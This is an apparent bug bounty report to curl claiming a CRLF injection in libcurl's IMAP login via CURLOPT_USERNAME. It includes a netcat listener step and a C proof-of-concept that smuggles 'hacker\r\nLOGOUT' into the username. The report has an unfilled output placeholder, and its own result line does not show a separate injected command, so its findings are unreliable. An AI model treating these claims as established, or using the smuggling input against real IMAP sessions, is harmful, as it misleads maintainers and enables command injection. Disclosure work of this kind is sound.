curl · Report #3479984
CRLF Injection / Protocol Smuggling in libcurl via CURLOPT_USERNAME (IMAP)
How it was found
Summary:
I have discovered a CRLF injection vulnerability in the IMAP protocol implementation of libcurl. The vulnerability exists because the imap_atom function in lib/imap.c fails to properly sanitize or quote Carriage Return (\r) and Line Feed (\n) characters when processing the CURLOPT_USERNAME option.
This allows an attacker to inject arbitrary IMAP commands by inserting \r\n sequences into the username field. When these characters are sent to the server, they terminate the current command and allow the subsequent data to be interpreted as a new, separate command (Protocol Smuggling).
Affected version
I successfully reproduced this on the latest master branch of curl.
Output of curl -V:
[PASTE YOUR curl -V OUTPUT HERE]
Steps To Reproduce:
To reproduce this issue, we need to bypass the CLI argument parsing and use libcurl directly via a C program. We also need a manual netcat listener to observe the raw protocol data.
-
Setup a Fake IMAP Server: Open a terminal and listen on port 143 (or any available port) using netcat:
sudo nc -lvp 143 -
Compile the Proof of Concept (PoC): Save the following code as
poc_imap.cand compile it against libcurl (e.g.,gcc poc_imap.c -o poc_imap -lcurl):#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // Target localhost on port 143 curl_easy_setopt(curl, CURLOPT_URL, "imap://127.0.0.1:143/"); // PAYLOAD INJECTION: // We inject "LOGOUT" as a separate command using CRLF. // If vulnerable, this will be sent as a raw new line, not quoted. const char *payload = "hacker\r\nLOGOUT"; curl_easy_setopt(curl, CURLOPT_USERNAME, payload); curl_easy_setopt(curl, CURLOPT_PASSWORD, "password123"); // Set a timeout to avoid hanging indefinitely during manual test curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); // Perform the request res = curl_easy_perform(curl); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; } -
Run the PoC: Execute the compiled binary:
./poc_imap -
Trigger the Injection (Manual Handshake): In the terminal running
netcat(Step 1), you will see a connection. You must manually simulate the IMAP server greeting for libcurl to proceed sending data.- Type:
* OK IMAP server readyand press ENTER. - Wait for curl to send
A001 CAPABILITY. - Type:
A001 OK Capability completedand press ENTER.
- Type:
-
Observe the Injection: Immediately after the handshake, observe the output in the netcat terminal.
Result: The server receives: A002 LOGIN hacker LOGOUT password123
Expected Behavior:
The username should be quoted (e.g., "hacker\r\nLOGOUT") or the client should reject the CRLF characters before sending.
Supporting Material/References:
- Vulnerable Component:
lib/imap.c, specifically theimap_atomfunction handling. - Impact: This allows Protocol Smuggling, enabling an attacker to execute arbitrary IMAP commands (like
DELETE,SELECT,CREATE) within the authenticated session context.